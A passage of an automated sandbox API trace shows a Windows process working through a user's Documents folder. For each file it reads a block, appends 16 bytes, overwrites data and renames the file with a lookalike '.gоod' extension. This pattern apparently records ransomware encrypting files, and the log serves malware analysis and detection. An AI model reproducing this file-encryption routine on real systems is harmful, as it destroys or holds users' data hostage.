(lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\bgceq.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\bgceq.pptx.gоod")) returned 1 [0236.132] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", lpFilePart=0x0) returned 0x29 [0236.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0236.132] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), fInfoLevelId=0x0, lpFileInformation=0x3c32e18 | out: lpFileInformation=0x3c32e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000)) returned 1 [0236.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0236.133] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", lpFilePart=0x0) returned 0x29 [0236.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0236.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0236.133] GetFileType (hFile=0x864) returned 0x1 [0236.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0236.133] GetFileType (hFile=0x864) returned 0x1 [0236.133] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0236.133] ReadFile (in: hFile=0x864, lpBuffer=0x3c331c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3c331c0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0236.134] CloseHandle (hObject=0x864) returned 1 [0236.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", lpFilePart=0x0) returned 0x29 [0236.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0236.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0236.135] GetFileType (hFile=0x864) returned 0x1 [0236.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0236.135] GetFileType (hFile=0x864) returned 0x1 [0236.135] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x55000 [0236.135] WriteFile (in: hFile=0x864, lpBuffer=0x3c34420*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3c34420*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0236.136] CloseHandle (hObject=0x864) returned 1 [0236.136] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", lpFilePart=0x0) returned 0x29 [0236.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0236.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0236.136] GetFileType (hFile=0x864) returned 0x1 [0236.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0236.136] GetFileType (hFile=0x864) returned 0x1 [0236.136] ReadFile (in: hFile=0x864, lpBuffer=0x3c366a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3c366a8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0236.776] CloseHandle (hObject=0x864) returned 1 [0236.776] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", lpFilePart=0x0) returned 0x29 [0236.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0236.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0236.777] GetFileType (hFile=0x864) returned 0x1 [0236.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0236.777] GetFileType (hFile=0x864) returned 0x1 [0236.777] WriteFile (in: hFile=0x864, lpBuffer=0x3638ad0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3638ad0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0236.777] CloseHandle (hObject=0x864) returned 1 [0236.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", lpFilePart=0x0) returned 0x29 [0236.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.gоod", lpFilePart=0x0) returned 0x2e [0236.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0236.777] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8956ebb8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x55010)) returned 1 [0236.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0236.777] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.gоod")) returned 1 [0236.935] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", lpFilePart=0x0) returned 0x27 [0236.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0236.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp" (normalized: "c:\\users\\fd1hvy\\documents\\dbva6 2so.odp"), fInfoLevelId=0x0, lpFileInformation=0x3835ab8 | out: lpFileInformation=0x3835ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed8940, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0x784f660, ftLastAccessTime.dwHighDateTime=0x1d4ceaf, ftLastWriteTime.dwLowDateTime=0x784f660, ftLastWriteTime.dwHighDateTime=0x1d4ceaf, nFileSizeHigh=0x0, nFileSizeLow=0x4fe5)) returned 1 [0236.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0236.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", lpFilePart=0x0) returned 0x27 [0236.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0236.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp" (normalized: "c:\\users\\fd1hvy\\documents\\dbva6 2so.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0236.936] GetFileType (hFile=0x864) returned 0x1 [0236.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0236.937] GetFileType (hFile=0x864) returned 0x1 [0236.937] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0236.937] ReadFile (in: hFile=0x864, lpBuffer=0x3835e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3835e50*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0236.937] CloseHandle (hObject=0x864) returned 1 [0236.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", lpFilePart=0x0) returned 0x27 [0236.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0236.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp" (normalized: "c:\\users\\fd1hvy\\documents\\dbva6 2so.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0236.938] GetFileType (hFile=0x864) returned 0x1 [0236.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0236.938] GetFileType (hFile=0x864) returned 0x1 [0236.938] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x4fe5 [0236.938] WriteFile (in: hFile=0x864, lpBuffer=0x38370a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x38370a8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0236.938] CloseHandle (hObject=0x864) returned 1 [0236.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", lpFilePart=0x0) returned 0x27 [0236.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0236.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp" (normalized: "c:\\users\\fd1hvy\\documents\\dbva6 2so.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0236.938] GetFileType (hFile=0x864) returned 0x1 [0236.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0236.939] GetFileType (hFile=0x864) returned 0x1 [0236.939] ReadFile (in: hFile=0x864, lpBuffer=0x3839328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3839328*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0237.003] CloseHandle (hObject=0x864) returned 1 [0237.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", lpFilePart=0x0) returned 0x27 [0237.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0237.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp" (normalized: "c:\\users\\fd1hvy\\documents\\dbva6 2so.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0237.004] GetFileType (hFile=0x864) returned 0x1 [0237.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0237.004] GetFileType (hFile=0x864) returned 0x1 [0237.004] WriteFile (in: hFile=0x864, lpBuffer=0x3669498*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3669498*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0237.004] CloseHandle (hObject=0x864) returned 1 [0237.004] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp", lpFilePart=0x0) returned 0x27 [0237.004] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp.gоod", lpFilePart=0x0) returned 0x2c [0237.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0237.004] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp" (normalized: "c:\\users\\fd1hvy\\documents\\dbva6 2so.odp"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed8940, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0x784f660, ftLastAccessTime.dwHighDateTime=0x1d4ceaf, ftLastWriteTime.dwLowDateTime=0x897aacbb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4ff5)) returned 1 [0237.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0237.004] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp" (normalized: "c:\\users\\fd1hvy\\documents\\dbva6 2so.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\dbVA6 2sO.odp.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\dbva6 2so.odp.gоod")) returned 1 [0237.005] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", lpFilePart=0x0) returned 0x29 [0237.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0237.006] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f678oadvi5.docx"), fInfoLevelId=0x0, lpFileInformation=0x36c1388 | out: lpFileInformation=0x36c1388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303cebc0, ftCreationTime.dwHighDateTime=0x1d55c22, ftLastAccessTime.dwLowDateTime=0xa7696d10, ftLastAccessTime.dwHighDateTime=0x1d55806, ftLastWriteTime.dwLowDateTime=0xa7696d10, ftLastWriteTime.dwHighDateTime=0x1d55806, nFileSizeHigh=0x0, nFileSizeLow=0x18a21)) returned 1 [0237.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0237.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", lpFilePart=0x0) returned 0x29 [0237.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0237.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f678oadvi5.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0237.006] GetFileType (hFile=0x864) returned 0x1 [0237.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0237.006] GetFileType (hFile=0x864) returned 0x1 [0237.007] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0237.007] ReadFile (in: hFile=0x864, lpBuffer=0x36c1730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x36c1730*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0237.007] CloseHandle (hObject=0x864) returned 1 [0237.007] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", lpFilePart=0x0) returned 0x29 [0237.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0237.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f678oadvi5.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0237.008] GetFileType (hFile=0x864) returned 0x1 [0237.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0237.008] GetFileType (hFile=0x864) returned 0x1 [0237.008] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x18a21 [0237.008] WriteFile (in: hFile=0x864, lpBuffer=0x36c2990*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36c2990*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0237.008] CloseHandle (hObject=0x864) returned 1 [0237.008] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", lpFilePart=0x0) returned 0x29 [0237.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0237.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f678oadvi5.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0237.008] GetFileType (hFile=0x864) returned 0x1 [0237.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0237.008] GetFileType (hFile=0x864) returned 0x1 [0237.009] ReadFile (in: hFile=0x864, lpBuffer=0x36c4c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x36c4c18*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0240.038] CloseHandle (hObject=0x864) returned 1 [0240.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", lpFilePart=0x0) returned 0x29 [0240.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f678oadvi5.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.039] GetFileType (hFile=0x864) returned 0x1 [0240.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.039] GetFileType (hFile=0x864) returned 0x1 [0240.039] WriteFile (in: hFile=0x864, lpBuffer=0x3664328*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3664328*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0240.039] CloseHandle (hObject=0x864) returned 1 [0240.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx", lpFilePart=0x0) returned 0x29 [0240.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx.gоod", lpFilePart=0x0) returned 0x2e [0240.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0240.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f678oadvi5.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303cebc0, ftCreationTime.dwHighDateTime=0x1d55c22, ftLastAccessTime.dwLowDateTime=0xa7696d10, ftLastAccessTime.dwHighDateTime=0x1d55806, ftLastWriteTime.dwLowDateTime=0x8b4ac2c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18a31)) returned 1 [0240.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0240.040] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f678oadvi5.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\F678Oadvi5.docx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\f678oadvi5.docx.gоod")) returned 1 [0240.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", lpFilePart=0x0) returned 0x2f [0240.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0240.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f6z7jeb_kbeplzft.docx"), fInfoLevelId=0x0, lpFileInformation=0x3955f60 | out: lpFileInformation=0x3955f60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f12b0, ftCreationTime.dwHighDateTime=0x1d4ce18, ftLastAccessTime.dwLowDateTime=0x3a74dd90, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x3a74dd90, ftLastWriteTime.dwHighDateTime=0x1d4c614, nFileSizeHigh=0x0, nFileSizeLow=0xc119)) returned 1 [0240.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0240.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx", lpFilePart=0x0) returned 0x2f [0240.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0240.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\F6z7jeB_KBEPlZFT.docx" (normalized: "c:\\users\\fd1hvy\\documents\\f6z7jeb_kbeplzft.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0240.041] GetFileType (hFile=0x864) returned 0x1 [0240.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0240.041] GetFileType (hFile=0x864) returned 0x1 [0240.041] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0240.041] ReadFile (in: hFile=0x864, lpBuffer=0x3956338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3956338*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0240.042] CloseHandle (hObject=0x864) returned 1 [0240.042] GetFullPathNameW (in: 